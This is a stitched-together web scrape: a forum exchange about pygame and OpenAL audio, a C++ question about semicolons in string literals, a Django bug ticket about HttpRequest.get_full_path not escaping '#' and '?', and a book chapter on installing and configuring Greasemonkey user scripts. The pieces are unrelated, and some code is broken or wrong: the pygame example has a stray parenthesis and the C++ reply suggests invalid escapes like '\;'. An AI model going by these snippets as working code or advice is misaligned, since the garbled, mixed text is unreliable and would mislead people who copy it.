What has been created in the laws of nature holds true in the laws of magic as well. Where there is light, there is darkness, and where there is life, there is also death.
Aerodyne: first of the wizard order
thanks, I will learn a bit of pygame
thanks for the help, I all ready now how to use the mixer and the key input. going to try to learn about open al
You may find my [OpenAL Examples] useful, as they cover 3D positional Audio, Recording, HRTF, Effects, and Filters. If you want screen reader output you could also go with Tolk, though the download last checked had some issues. There's a test pack [here] with the necessary files however. Other libraries besides Tolk would be Pyttsx or Accessible_Output2.
Window handling in Pygame is also fairly straight forward, here's a simple example with a main loop:
import pygame from pygame import mixer import sys def Example(): #initialize pygame pygame.init() #initialize sound mixer mixer.init() #create display window = pygame.display.set_mode([640,480]) #load sound sound = mixer.Sound('tone5.wav') ) #update window display pygame.display.update() Example()
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This seems simple, but I can't get it to work. I'm writing a simple compiler program in VC++ 6. I'm trying to define three strings that will be checked by my parser to make sure they are syntactically correct. The problem is, I'm not sure how to include semicolons and parentheses in a string. The program compiles, but crashes when run.
Here are the three inputs:
I've tried escaping the semicolons and parentheses, but the program still crashes.I've tried escaping the semicolons and parentheses, but the program still crashes.Code:
#include <string>
using namespace std;
int main()
{
string input1 = "i+i+i;";
string input2 = "i/n;";
string input3 = "(i*i+i*i+i*i);";
return 0;
}
Thanks for the help! :)Thanks for the help! :)Code:
string input1 = "i+i+i\;";
string input2 = "i/n\;";
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Opened 5 years ago
Closed 3 years ago
#18456 closed Bug (fixed)
HttpRequest.get_full_path does not escape # sign in the url
Description
Suppose request was made with the url '/some%23thing?param=1', then get_full_path() would return '/some#thing?param=1' which I believe is incorrect as 'thing?param=1' is now in anchor part.
Change History (10)
comment:1 Changed 5 years ago by
comment:2 Changed 5 years ago by
I have always found
request.get_full_path() to be less than useful when dealing with tricky corner cases. It doesn't escape anything itself, but if you escape its output, it also escapes the '
?' used to assemble the path and the query string:
>>> from django.http import HttpRequest >>> from django.utils.http import urlquote >>> request = HttpRequest() >>> request.>> request.META['QUERY_STRING'] = 'q=a' >>> request.get_full_path() '/?q=a' >>> urlquote(request.get_full_path()) u'/%3Fq%3Da'
In cases involving both query strings and unicode characters in urls, I have found that it is best simply to avoid
request.get_full_path() altogether. Instead, in my own projects I have defined a method called
request.get_escaped_full_path() as follows:
def get_escaped_full_path(self): return '%s%s' % (iri_to_uri(urlquote(self.path)), self.META.get('QUERY_STRING', '') and ('?' + iri_to_uri(self.META.get('QUERY_STRING', ''))) or '')
This turns out to be much more predictable (and useful).
comment:3 follow-up:.
comment:4 follow-up:.
I think there is a bigger issue to consider here, and I hope you will reconsider having marked this ticket as wontfix.
As I mentioned in comment:2,
get_full_path() as currently implemented is useless on sites that contain paths that need escaping along with query strings. The question comes down to: should one urlencode the result of
get_full_path(), or not? The documentation endorses neither way, and actually, neither answer is fully correct. Consider the case where one is attempting to use
get_full_path() as a way to construct a URL to place in an HTML anchor tag, or a URL that can be used as a 302 redirect. If the path has a query string, then calling
urlquote(request.get_fullpath()) will mistakenly urlencode the '?' character. If one chooses not to escape the result and just use
get_full_path() directly (which is, e.g., what the django admin does), then the link will be broken if the URL contains characters that need to be escaped.
As such, for any conceivable use case of
HttpRequest.get_full_path(), the only behavior that makes consistent sense is to urlencode the path. This is true whether one is using it to e.g. construct an anchor tag with, or in a 301/302 redirect. In fact, in neither of these use cases (nor in any can I think of) does it even matter whether one is able to reconstruct the precise url that was sent by the browser.
comment:5 Changed 4 years ago by
It's difficult to say something about "every conceivable use case of
get_full_path()". For instance, it could be used for logging; and one wants to log "/foo:bar/", not "%2Ffoo%3Abar%2F" :)
Reopening to see if it would make sense to escape specifically significant characters in the path of an URL (?, #, ;, maybe others).
comment:6 Changed 4 years ago by
According to.
I would escape all ";", "=" and "?" characters. The fragment isn't even contemplated because it's not strictly part of the URI:.
Personally, I consider the possible logging clarity problems less important than the problems arising from
HttpRequest.get_full_path() bad behavior. If needed, logging could use some other function to print out the URI.
comment:7 Changed 4 years ago by
It seems that Django doesn't (in principle) log the successful requests anywhere (the
PATH_INFO WSGI environ is what gets logged both in development and production). The only place where
get_full_path() is intended for human consumption is
django.middleware.common.BrokenLinkEmailsMiddleware.process_response where it gets mailed. I would say that, in this case, it might be even interesting to have the "correct" yet difficult to understand path printed.
comment:8 Changed 4 years ago by
comment:9 Changed 3 years ago by
Here is the revised pull request:
Changes:
- Fixed merge conflict
- Rewrote the tests in tests/utils_tests/test_encoding.py
- Added a test to tests/requests/tests.py
- Updated the versionadded directive in docs/ref/utils.txt
- Added a release note
request.get_full_path()returns the path with the query string (if there is one). The result doesn't have any particular encoding or escaping applied. The docs would mention it otherwise :)
This is a bit pathological when the path includes a "?". In this case, the "?" must have been escaped in the original representation of the URL (written in the HTML or typed in the address bar). Otherwise it would have been interpreted as the beginning of the query string. However, since
request.get_full_path()is just
path + '?' + query string, you can't tell the difference between a "?" in the path and the "?" that marks the beginning of the query string in its output.
"#" is less of a problem. Browsers don't includes fragments (that's the official name for "anchor") in requests, so if you have a # in the output of
request.get_full_path(), it was in the path or the query string. It can't be the anchor.
To sum up with an example, if the escaped URL is
/%3Ffoo%23bar?baz#quux, then
request.get_full_path()is
/?foo#bar?baz.
So your question boils down to: should
pathbe URL-encoded when building
request.get_full_path()?
To be honest I'm not sure.
Note that
django.utils.encoding.iri_to_uri()won't do the job because it keeps # and ? unchanged.
Related ticket: #11522 | https://code.djangoproject.com/ticket/18456 | CC-MAIN-2017-26 | en | refinedweb |
A simple recaptcha field for Wagtail Form Pages.
Wagtail forms with a ReCaptcha form field/widget integration app.
wagtail-django-captcha provides an easy way to integrate the django-recaptcha field when using the Wagtail formbuilder.
The quickest way to add a captcha field to a Wagtail Form Page is to inherit from the two options provided, WagtailCaptchaForm or WagtailCaptchaEmailForm. The first options inherits from AbstractForm while the seconds does it from AbstractEmailForm. Either way your page is going to display a captcha field at the end of the form.
Example
from wagtail.wagtailforms.models import AbstractFormField from wagtail.wagtailadmin.edit_handlers import FieldPanel, InlinePanel, MultiFieldPanel from wagtail.wagtailcore.fields import RichTextField from modelcluster.fields import ParentalKey from wagtailcaptcha.models import WagtailCaptchaForm class SubmitFormField(AbstractFormField): page = ParentalKey('SubmitFormPage', related_name='form_fields') class SubmitFormPage(WagtailCaptchaForm): body = RichTextField(blank=True, help_text='Edit the content you want to see before the form.') thank_you_text = RichTextField(blank=True, help_text='Set the message users will see after submitting the form.') class Meta: verbose_name = "Form submission page" description = "Page with the form to submit" SubmitFormPage.content_panels = [ FieldPanel('title', classname="full title"), FieldPanel('body', classname="full"), FieldPanel('thank_you_text', classname="full"), InlinePanel(SubmitFormPage, 'form_fields', label="Form fields"), MultiFieldPanel([ FieldPanel('to_address'), FieldPanel('from_address'), FieldPanel('subject'), ], "Email notification") ]
The captcha field can’t be added from the admin UI but will appear in your frontend as the last of the form fields.
Requirements: virtualenv, pyenv, twine
git clone git@github.com:springload/wagtail-django-recaptcha.git cd wagtail-django-recaptcha/ virtualenv .venv source ./.venv/bin/activate make init
make help # See what commands are available. make lint # Lint the project. make clean-pyc # Remove Python file artifacts. make publish # Publishes a new version to pypi.
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/wagtail-django-recaptcha/ | CC-MAIN-2017-26 | en | refinedweb |
Introduction
The following test plan describes the formal testing to be performed by Red Hat/JBoss QA team for Richfaces project. This test plan covers the included items in the test project, the specific risks to product quality we intend to address, the test environment, problems that could threaten the success of testing, test tools and harnesses we will need to develop, and the test execution process. Development of unit testing occurs outside of the test team’s area but QA team shall provide correct test environment so that they can be run in QA lab effectively as part of the testing process. This document also lays out the strategies, resources, and roles involved in performing Richfaces testing as a distinct testing subproject within the JBoss QE.
Expansion of test coverage as well as development of automated tests shall be a continuous process. The Test Team will develop both automated and manual tests to cover the quality risks identified after discussion with development team, as well as augmenting that test set to the extent possible under resource and time constraints with community based tests. However when a release date closes by, Richfaces QA team will receive the tagged code base from development team approximately one week before the scheduled release date and will execute those tests against the tagged code base.
Scope
- Features to be developed and tested
- Successful run of unit tests
- Automated and Manual browser compatibility tests
- Tools and Testing Framework Extension or Development
- Regression Tests
- Integration testing with CDI
- Integration testing with Seam
- Integration testing with Portal Server through Portlet Bridge
- Application Server Compatibility
- Testing on cloud environments (Priority II)
- Load and Performance
- Failover in Clustered Deployment
- Backward Compatibility when applicable
- Compatibility with JBoss Developer Studio (JBDS)
- Documentation
- Features not to be developed and tested
- Unit tests
- Intergration with other portal servers such as Liferay (This depends on time and resource constrain)
- Mobile Client
Software Risk Issues
- JSF 2 is new so there is learning curve
- RF4 is currently in alpha stage so priority may have to be reshuffled based on status quo
- New version of Seam or Portal or Weld which may not be in synch with Richfaces development
- Too many combinations to test such as AS versions, Tomcat versions, Portal versions
- Too many front end interfaces primarily browser + OS matrix.
Test Deliverables
- Report containing 100% success rate for unit tests
- Automated and manual test scripts and results for browser compatibility tests
- Automated and manual test scripts and results for integration testing with Seam and Portal Servers
- Automated and manual test scripts and results for load and performance testing
Test Approach
Test Development:
- Richfaces Selenium Library
- An extension to Selenium that provides more type safe way to develop selenium test cases in terms of jQuery, CSS, locators etc.
- Library provides less hacky way to make tests pass with different FF and IE versions.
- Component Testing Framework
- A new application based on JSF2 and Richfaces to test all possible attrributes, events of each Richfaces componet.
- This application also allows a component to be tested in to another container components such as datatable, panels etc.
- For each component, a corresponding functional test case will be written to test the component.
- Example Applications
- Different example applications of different complexity which will not only help us proactively test components being used in practical application but also provide examples for community.
- Different example applications that show integration with Weld and Portal.
- Performance Testing
- Several performance test suites will be developed using Smartfrog and automated in Hudson. These tests shall test simple application with few components to a complex application with multiple components.
- CPU profiling, memory profiling data shall be captured.
- Tools for client side performance is not known and we may have to yield to manual testing using Firebug and similar other browser plugins.
- Regression Testing
- For each bug found by community or qe or dev, we will add a corresponding test in regression suite or add a unit test case. It's expected that this testsuite size will gradually increase.
Test Execution
- Unit tests
- Unit tests which are based on various frameworks such as junit, easymock, jsfunit will be run in Hudson [More details to be filled]
- RF QE will monitor builds and fix problems caused by environment misconfiguration
- Component Testing
- RF has several components so listing how to test each of them is not feasible in test plan.
- We will use Component Testing Framework mentioned in Test Development.
- Assuming that not every release changes all the components, it is expected that a list of components which behavior have changed shall be given to QE so that QE can focus more on those components as part of manual testing.
- Functional Testing
- Going through several issues reported in user forum for 3.3.X as well from interaction with several groups within JBoss such as JOPR, Portal, it is concluded that most of issues have been found when RF components have been used together. New testing framework similar to test-applications shall be used as mentioned above which allows to test components with modal panel, datatable and other container components.
- We will use Component Testing Framework mentioned in Test Development.
- Integration and Browser Compatibility tests with Selenium
- Rewrite component demo app testing and run it with all supported browsers that are availabe in QA lab
- Run tests developed for Furnctional testing against different browsers.
- After analysis of commony found bugs and gap in test coverage, RF QE shall develop test apps and use those apps and selenium to automate and exapand test coverage.
- JBoss Portal Compatibility tests -
- RF Demo app as well as other example applications shall be used along with JBoss Portlet Bridge to test compatibilty with latest GateIn Portal and EPP server. JSF2 support of bridge is still a work in progress so there is hard dependency on bridge so this can not be well defined.
- RF QE shall work with JBoss Portal QE to automate these tests in portal environment.
- There are some unknonws here.
- Seam framework and CDI compatibility tests TBD
- Existing Richfaces based application in Seam codebase as well as new applications shall be used to test compatibility with Seam framework
- RF QE shall work with Seam QE to automate these tests.
- RF QE shall develop example applications that use CDI
- Should both Seam 2 and Seam 3 be supported?
- JOPR testing
- Latest JOPR test shall be tested with during each release of Richfaces when applicable.
- Manual tests
- No automation is enough by itself to verify Look and Feel as well as complete functionality of a web applicaiton or web application framework.
- Rendering as well as functionality of each demo app and major components shall be verified manually using each of available skins
- Application Server Compatibility
- RF QE shall automate testing of various demo and example application using Selenium with all the certifiied applicaiton and web servers mentioned in Test Environment section
- Cloud Environment testing
- A subset of tests such component demo and example applications will be run on GAE first and then to other cloud providers as time permitting. This is a priority II.
- Load and Performance Testing
- Base Coverage
- A very simple demo application shall be used for performance testing to analyze and verify RF framework.
- Performance shall be monitored as number of concurrent users ramp up from 100 to 2000 users in increment of 100.
- Todo: We need to define expected average response time under each load.
- This demo application shall be run with 1000 concurrent users for a period of 12 hours as part of stress testing. Average response time shall be monitored and analyzed.
- Grinder/Smartfrog shall be used for load generation as well as monitoring. We would have to see if Smartfrog-Sniff can be used here.
- Expanded Coverage
- Once base is covered, a more complex application shall be used for load testing
- Memory leaks and usage analysis
- Client Performance
- Tools TBD
- Performance on browser need to be monitored.
- Looking for ideas.
- Security Testing
- TBD
- Misc
- Global namespace pollution
- Usability testing (will be covered as part of developing example applications)
- Backward Compatibility
- Yet to be defined
- JBDS Compatibility
- RF QE shall use JBDS to develop and test demo and example applicaitons
- Documentation Check
- RF QE will do a sanity check of RF document but shall not be responsible for documentation development.
Pass/Fail Criteria
This depends on whether release is Final release or Milestones releases.
For Final releases:
- All unit tests pass
- All automated integration tests pass
- All major and minor Richfaces components pass with manual testing across different test environments
- Seam and Portal compatiblity tests pass
- Document is in synch with development
For Milestone Releases:
- All unit tests pass
- All automated integration tests pass
- All major Richfaces components pass with manual testing across priority I test environments
For Alpha releases:
- Alhpa releases have too many moving targets so only unit tests pass is a requirement
- QE shall use this release to get familiar with new codebase and for test development
Suspension Criteria and Resumption Criteria
Suspension if:
- unit tests fail
- there is problem in richfaces demo app
- does not deploy in priority I test environment
Test Environment
- OS & Browser
- Application and Web Servers
- Latest compatible Community JBoss Applicaiton Server such as JBoss AS 6.*
- Latest compatible Apache Tomcat such as Tomcat 6.x
- Java Versions
- Sun JVM Version 6
- Open JDK 6
- Sun JVM version 5 (TBD)
- JSF Version
- Only Reference Implementation shall be used. Other implementation such as MyFaces shall not be tested and would be left to community.
- Seam and Weld
- The latest compatible release
- JBoss Portal/GateIn
- The latest JBoss Portal release along with corresponding JBoss Portlet Bridge
Test Case Tracking
Jira shall be used as test case managment and tracking
Bug Tracking
Jira shall be used as bug tracking tool. Once a bug is resolved, a snippet of code and/or explanation shall be commented in jira to better help understand the problem so that a test case can be added.
Staffing/Team
- Prabhat Jha
- Lukas Fryc
- Pavol Pitonak
- Somebody from Portal team
- TBD fom Seam/Weld team
- TBD from JON team
Schedule
- Dev will tag the code base in SVN 2 weeks prior to expected release date
- QE shall work with the tag and it's possible that tag may need to be updated based on intermediate test results
- Any bugs not fixed in current tag shall be marked as to be fixed in the next release if it's not GA release
- For GA release, bug needs to be fixed if it's a blocker otherwise need to be postponed for next release.
Responsibilities
- Prabhat Jha is the lead and 50% devoted to Richfaces project
- Lukas will expand the test coverage by writing new example applications, tools and tests and automating them
- Pavol will expand the test coverage by writing new example applications, tools and tests and automating them
- Others to be decided
Planning Risks and Contigencies
- Lack of hardware/software
It's possible that not all hardware and software will be available. In that case, tests dependent on missing hardware/software combination shall not be executed.
- Delay in training on the applicaiton and tools
Will rely on manual tests with avaialable applications | https://developer.jboss.org/wiki/Richfaces4testplan | CC-MAIN-2017-26 | en | refinedweb |
Killall backboardd in pythonista
Can someone help me how do I kill springboard in pythonista ? I have jailbreak and want this feature :/ and use openWithBundleID('com.apple.webapp') though that will result in the device going into substrate safe mode.
import subprocess subprocess.check_call(["killall", "backboardd"])
Assuming that is the command you want to execute, and assuming that the jailbreak allows Pythonista to do that.
Operation not permitted :/ so pythonista doesn't allow me that :/
@zSaaiq ... You could try changing line 5 from:
from objc_tools.objc_json import objc_to_dict # to from objc_json import objc_to_dict
In general, I think that
__init__.pyfiles are needed in the directories of
objc_toolsas described in: and | https://forum.omz-software.com/topic/3868/killall-backboardd-in-pythonista | CC-MAIN-2017-26 | en | refinedweb |
NAME
sigreturn - return from signal
LIBRARY
Standard C Library (libc, -lc)
SYNOPSIS
#include <signal.h> int sigreturn(const ucontext_t *scp);
DESCRIPTION
The sigreturn() system call allows users to atomically unmask, switch stacks, and return from a signal context. The processes signal mask and stack status are restored from the context structure pointed to by scp. The system call does not return; the users stack pointer, frame pointer, argument pointer, and processor status longword are restored from the context. Execution resumes at the specified pc. This system call is used by the trampoline code and longjmp(3) when returning from a signal to the previously executing program.
NOTES
This system call is not available in 4.2BSD hence it should not be used if backward compatibility is needed.
RETURN VALUES
If successful, the system call does not return. Otherwise, a value of -1 is returned and errno is set to indicate the error.
ERRORS
The sigreturn() system call will fail and the process context will remain unchanged if one of the following occurs. [EFAULT] The scp argument points to memory that is not a valid part of the process address space. [EINVAL] The process status longword is invalid or would improperly raise the privilege level of the process.
SEE ALSO
sigvec(2), setjmp(3), ucontext(3)
HISTORY
The sigreturn() system call appeared in 4.3BSD. | http://manpages.ubuntu.com/manpages/jaunty/man2/sigreturn.2freebsd.html | CC-MAIN-2014-42 | en | refinedweb |
Created on 2006-08-25 05:52 by gazzadee, last changed 2010-08-07 21:10 by terry.reedy. This issue is now closed.
When I use an existing file object as stdin for a call
to subprocess.Popen, then Popen cannot read the file if
I have called seek on it more than once.
eg. in the following python code:
>>> import subprocess
>>> rawfile = file('hello.txt', 'rb')
>>> rawfile.readline()
'line 1\n'
>>> rawfile.seek(0)
>>> rawfile.readline()
'line 1\n'
>>> rawfile.seek(0)
>>> process_object = subprocess.Popen(["cat"],
stdin=rawfile, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
process_object.stdout now contains nothing, implying
that nothing was on process_object.stdin.
Note that this only applies for a non-trivial seek (ie.
where the file-pointer actually changes). Calling
seek(0) multiple times in a row does not change
anything (obviously).
I have not investigated whether this reveals a problem
with seek not changing the underlying file descriptor,
or a problem with Popen not handling the file
descriptor properly.
I have attached some complete python scripts that
demonstrate this problem. One shows cat working after
calling seek once, the other shows cat failing after
calling seek twice.
Python version being used:
Python 2.4.2 (#1, Nov 3 2005, 12:41:57)
[GCC 3.4.3-20050110 (Gentoo Linux 3.4.3.20050110,
ssp-3.4.3.20050110-0, pie-8.7 on linux2
Logged In: YES
user_id=1534394
I found the cause of this bug:
A libc FILE* (used by python file objects) may hold a
different file offset than the underlying OS file
descriptor. The posix version of Popen._get_handles does
not take this into account, resulting in this bug.
The following patch against svn trunk fixes the problem. I
don't have permission to attach files to this item, so I'll
have to paste the patch here:
Index: subprocess.py
===================================================================
--- subprocess.py (revision 51581)
+++ subprocess.py (working copy)
@@ -907,6 +907,12 @@
else:
# Assuming file-like object
p2cread = stdin.fileno()
+ # OS file descriptor's file offset does not
necessarily match
+ # the file offset in the file-like object,
so do an lseek:
+ try:
+ os.lseek(p2cread, stdin.tell(), 0)
+ except OSError:
+ pass # file descriptor does not support
seek/tell
if stdout is None:
pass
@@ -917,6 +923,12 @@
else:
# Assuming file-like object
c2pwrite = stdout.fileno()
+ # OS file descriptor's file offset does not
necessarily match
+ # the file offset in the file-like object,
so do an lseek:
+ try:
+ os.lseek(c2pwrite, stdout.tell(), 0)
+ except OSError:
+ pass # file descriptor does not support
seek/tell
if stderr is None:
pass
@@ -929,6 +941,12 @@
else:
# Assuming file-like object
errwrite = stderr.fileno()
+ # OS file descriptor's file offset does not
necessarily match
+ # the file offset in the file-like object,
so do an lseek:
+ try:
+ os.lseek(errwrite, stderr.tell(), 0)
+ except OSError:
+ pass # file descriptor does not support
seek/tell
return (p2cread, p2cwrite,
c2pread, c2pwrite,
It's not obvious that the subprocess module is doing anything wrong here. Mixing streams and file descriptors is always problematic and should best be avoided (). However, the subprocess module *does* accept a file object (based on a libc stream), for convenience. For things to work correctly, the application and the subprocess module needs to cooperate. I admit that the documentation needs improvement on this topic, though.
It's quite easy to demonstrate the problem, you don't need to use seek at all. Here's a simple test case:
import subprocess
rawfile = file('hello.txt', 'rb')
rawfile.readline()
p = subprocess.Popen(["cat"], stdin=rawfile, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print "File contents from Popen() call to cat:"
print p.stdout.read()
p.wait()
The descriptor offset is at the end, since the stream buffers. describes the need for "cleaning up" a stream, when you switch from stream functions to descriptor functions. This is described at. The documentation recommends the fclean() function, but it's only available on GNU systems and not in Python. As I understand it, fflush() works good for cleaning an output stream.
For input streams, however, things are difficult. fflush() might work sometimes, but to be sure, you must set the file pointer as well. And, this does not work for files that are not random access, since there's no way of move the buffered data back to the operating system.
So, since subprocess cannot reliable deal with this situation, I believe it shouldn't try. I think it makes more sense that the application prepares the file object for low-level operations. There are many other Python modules that uses the .fileno() method, for example the select() module, and as far as I understand, this module doesn't try to clean streams or anything like that.
To summarize: I'm leaning towards a documentation solution.
Fair enough, that's probably cleaner and more efficient than playing games with fflush and lseek anyway. If file objects are not supported properly then maybe they shouldn't be accepted at all, forcing the application to call fileno() if that's what is wanted. That might break a lot of existing code though. Then again it may be beneficial to get everyone to review code which passes file objects to Popen in light of this behaviour.
Not a bug, leaving open for the doc RFE (but suggest closing anyway).
In the absence of a doc patch, I am following Daniel's suggestion to close this. | http://bugs.python.org/issue1546442 | CC-MAIN-2014-42 | en | refinedweb |
Greasemonkey Hacks/Getting Started
From WikiContent
Revision as of 20:40, 27 August 2008
Hacks 1–12: Introduction
The first thing you need to do to get started with Greasemonkey is install it. Open Firefox and go to. Click the Install Greasemonkey link. Firefox will warn you that it prevented this site from installing software, as shown in Figure 1-1.
Click the Edit Options button to bring up the Allowed Sites dialog, as shown in Figure 1-2.
Click the Allow button to add the Greasemonkey site to your list of allowed sites; then click OK to dismiss the dialog. Now, click the Install Greasemonkey link again, and Firefox will pop up the Software Installation dialog, as shown in Figure 1-3.
Click Install Now to begin the installation process. After it downloads, quit Firefox and relaunch it to finish installing Greasemonkey.
Now that that's out of the way, let's get right to it.
Install a User Script
Greasemonkey won't do anything until you start installing user scripts to customize specific web pages.
A Greasemonkey user script is a single file, written in JavaScript, that customizes one or more web pages. So, before Greasemonkey can start working for you, you need to install a user script.
Tip
Many user scripts are available at the Greasemonkey script repository:.
This hack shows three ways to install user scripts. The first user script I ever wrote was called Butler. It adds functionality to Google search results.
Installing from the Context Menu
Here's how to install Butler from the context menu:
- Visit the Butler home page () to see a brief description of the functionality that Butler offers.
- Right-click (Control-click on a Mac) the link titled "Download version…" (at the time of this writing, Version 0.3 is the latest release).
- From the context menu, select Install User Script….
- A dialog titled Install User Script will pop up, displaying the name of the script you are about to install (Butler, in this case), a brief description of what the script does, and a list of included and excluded pages. All of this information is taken from the script itself [Hack #2].
- Click OK to install the user script.
If all went well, Greasemonkey will display the following alert: "Success! Refresh page to see changes."
Now, search for something in Google. In the search results page, there is a line at the top of the results that says "Try your search on: Yahoo, Ask Jeeves, AlltheWeb…" as shown in Figure 1-4. There is also a banner along the top that says "Enhanced by Butler." All of these options were added by the Butler user script.
Installing from the Tools Menu
My Butler user script has a home page, but not all scripts do. Sometimes the author posts only the script itself. You can still install such scripts, even if there are no links to right-click.
Visit. You will see the Butler source code displayed in your browser. From the Tools menu, select Install User Script…. Greasemonkey will pop up the Install User Script dialog, and the rest of the installation is the same as described in the previous section.
Editing Greasemonkey's Configuration Files
Like most Firefox browser extensions, Greasemonkey stores its configuration files in your Firefox profile directory. You can install a user script manually by placing it in the right directory and editing the Greasemonkey configuration file with a text editor.
First you'll need to find your Firefox profile directory, which is harder than it sounds. The following list, from Nigel MacFarlane's excellent Firefox Hacks (O'Reilly), shows where to find this directory on your particular system:
- Single-user Windows 95/98/ME
- C:\Windows\Application Data\Mozilla\Firefox
- Multiuser Windows 95/98/ME
- C:\Windows\Profiles\%USERNAME%\Application Data\Mozilla\Firefox
- Windows NT 4.x
- C:\Winnt\Profiles\%USERNAME%\Application Data\Mozilla\Firefox
- Windows 2000 and XP
- C:\Documents and Settings\%USERNAME%\Application Data\Mozilla\Firefox
- Unix and Linux
- ~/.mozilla/firefox
- Mac OS X
- ~/Library/Application Support/Firefox
Within your Firefox directory is your Profiles directory, and within that is a randomly named directory (for security reasons). Within that is a series of subdirectories: extensions/{e4a8a97b-f2ed-450b-b12d-ee082ba24781}/chrome/greasemonkey/content/scripts/. This final scripts directory contains all your installed user scripts, as well as a configuration file named config.xml. Here's a sample config.xml file:
<UserScriptConfig> <Script filename="bloglinesautoloader.user.js" name="Bloglines Autoloader" namespace="" description="Auto-display all new items in Bloglines (the equivalent of clicking the root level of your subscriptions)" enabled="true"> <Include>*</Include> <Include>*</Include> </Script> <Script filename <Include>.*/search*</Include> </Script> <Script filename="mailtocomposeingmail.user.js" name="Mailto Compose In GMail" namespace="" description="Rewrites "mailto:" links to GMail compose links" enabled="true"> <Include>*</Include> <Exclude></Exclude> </Script> </UserScriptConfig>
To install a new script, simply copy it to this scripts directory and add a <Script> entry like the other ones in config.xml. The <Script> element has five attributes: filename, name, namespace, description, and enabled. Within the <Script> element you can have multiple <Include> and <Exclude> elements, as defined in "Provide a Default Configuration" [Hack #2].
For example, to manually install the Butler user script, copy the butler.user.js file into your scripts directory, and then add this XML snippet to config.xml, just before </UserScriptConfig>:
<Script filename="butler.user.js" name="Butler" namespace="" description="Link to competitors in Google search results" enabled="true"> <Include>*</Include> <Exclude>http://*.google.*/*</Exclude> </Script>
Tip
A user script's filename must end in .user.js. If you've gotten the file extension wrong, you won't be able to right-click the script's link and select Install User Script…from the context menu. You won't even be able to visit the script itself and select Install User Script…from the Tools menu.
Provide a Default Configuration
User scripts can be self-describing; they can contain information about what they do and where they should run by default.
Every user script has a section of metadata, which tells Greasemonkey about the script itself, where it came from, and when to run it. You can use this to provide users with information about your script, such as its name and a brief description of what the script does. You can also provide a default configuration for where the script should run: one page, one site, or a selection of multiple sites.
The Code
Save the following user script as helloworld.user.js:
Example: Hello World // ==UserScript== // @name Hello World // @namespace // @description example script to alert "Hello world!" on every page // @include * // @exclude* // @exclude* // ==/UserScript== alert('Hello world!');
There are five separate pieces of metadata here, wrapped in a set of Greasemonkey-specific comments.
Wrapper.
Name
Within the metadata section, the first item is the name:
// @name Hello World, it defaults to the filename of the user script, minus the .user.js extension.
Namespace
Next comes the namespace:
// directivesuser scripts@namespace@namespace
This is a URL, which Greasemonkey uses to distinguish user scripts that have the same name but are written by different authors. If you have a domain name, you can use it (or a subdirectory) as your namespace. Otherwise, you can use a tag: URI.
Tip
Learn more about tag: URIs at.
@namespace is optional. If present, it can appear only once. If not present, it defaults to the domain from which the user downloaded the user script.
Tip
You can specify the items of your user script metadata in any order. I like @name, @namespace, @description, @include, and finally @exclude, but there is nothing special about this order.
Description
Next comes the description:
// @description example script to alert "Hello world!" on every, it defaults to an empty string.
Tip
Though @description is not mandatory, don't forget to include it. Even if you are writing user scripts only for yourself, you will eventually end up with dozens of them, and administering them all in the Manage User Scripts dialog will be much more difficult if you don't include a description.
URL Directives
The next three lines are the most important items (from Greasemonkey's perspective). The @include and @exclude directives give a series of URLs and wildcards that tell Greasemonkey where to run this user script:
// @include * // @exclude* // @exclude*
The @include and @exclude directives share the same syntax. They can be a URL, a URL with the * character as a simple wildcard for part of the domain name or path, or simply the * wildcard character by itself. In this case, we are telling Greasemonkey to execute the Hello World script on all sites except and. Excludes take precedence over includes, so if you went to, the user script would not run. The URL matches the @include * (all sites), but it would be excluded because it also matches @exclude*.
@include and @exclude are optional. You can specify as many included and excluded URLs as you like, but you must specify each on its own line. If neither is specified, Greasemonkey will execute your user script on all sites (as if you had specified @include *).
Master the @include and @exclude Directives
Describing exactly where you want your user script to execute can be tricky.
As described in "Provide a Default Configuration" [Hack #2], Greasemonkey executes a user script based on @include and @exclude parameters: URLs with * wildcards that match any number of characters. This might seem like a simple syntax, but combining wildcards to match exactly the set of pages you want is trickier than you think.
Matching with or Without the www. Prefix
Here's a common scenario: a site is available at and. The site is the same in both cases, but neither URL redirects to the other. If you type example.com in the location bar, you get the site at. If you visit, you get exactly the same site, but the location bar reads.
Let's say you want to write a user script that runs in both cases. Greasemonkey makes no assumptions about URLs that an end user might consider equivalent. If a site responds on both and, you need to declare both variations, as shown in this example:
@include* @include*
Matching All Subdomains of a Site
Here's a slightly more complicated scenario. Slashdot is a popular technical news and discussion site. It has a home page, which is available at both and. But it also has specialized subdomains, such as,, and so forth.
Say you want to write a user script that runs on all these sites. You can use a wildcard within the URL itself to match all the subdomains, like this:
@include* @include http://*.slashdot.org/*
The first line matches when you visit. The second line matches when you visit (the * wildcard matches www). The second line also matches when you visit or; the * wildcard matches apache and apple, respectively.
Matching Different Top-Level Domains of a Site
Now things get really tricky. Amazon is available in the United States at. (Because visibly redirects you to, we won't need to worry about matching both.) But Amazon also has country-specific sites, such as in England, in Japan, and so forth.
If you want to write a user script that runs on all of Amazon's country-specific sites, there is a special type of wildcard, .tld, that matches all the top-level domains, as shown in the following example:
@include*
This special syntax matches any top-level domain: .com, .org, .net, or a country-specific domain, such as .co.uk or .co.jp. Greasemonkey keeps a list of all the registered top-level domains in the world and expands the .tld wildcard to include each of them.
Tip
You can find out more about the available top-level domains at.
Deciding Between * and http://*
One final note, before we put the @include and @exclude issue to bed. If you're writing a user script that applies to all pages, there are two subtly different ways to do that. Here's the first way:
@include *
This means that the user script should execute absolutely everywhere. If you visit a web site, the script will execute. If you visit a secure site (one with an https:// address), the script will execute. If you open an HTML file from your local hard drive, the script will execute. If you open a blank new window, the script will execute (since technically the "location" of a blank window is about:blank).
This might not be what you want. If you want the script to execute only on actual remote web pages "out there" on the Internet, you should specify the @include line differently, like this:
@include http://*
This means that the user script will execute only on remote web sites, whose address starts with http://. This will not include secure web sites, such as your bank's online bill payment site, because that address starts with https://. If you want the script to run on both secure and standard web sites, you'll need to explicitly specify both, like so:
@include http://* @include https://*
Prevent a User Script from Executing
You can disable a user script temporarily, disable all user scripts, or uninstall a user script permanently.
Once you have a few user scripts running, you might want to temporarily disable some or all of them. There are several different ways to prevent a user script from running.
Disabling a User Script Without Uninstalling It
The easiest way to disable a user script is in the Manage User Scripts dialog. Assuming you installed the Butler user script [Hack #1], you can disable it with just a few clicks:
- From the menu bar, select Tools → Manage User Scripts…. Greasemonkey will pop up the Manage User Scripts dialog.
- In the left pane of the dialog is a list of all the user scripts you have installed. (If you've been following along from the beginning of the book, this will include just one script: Butler.)
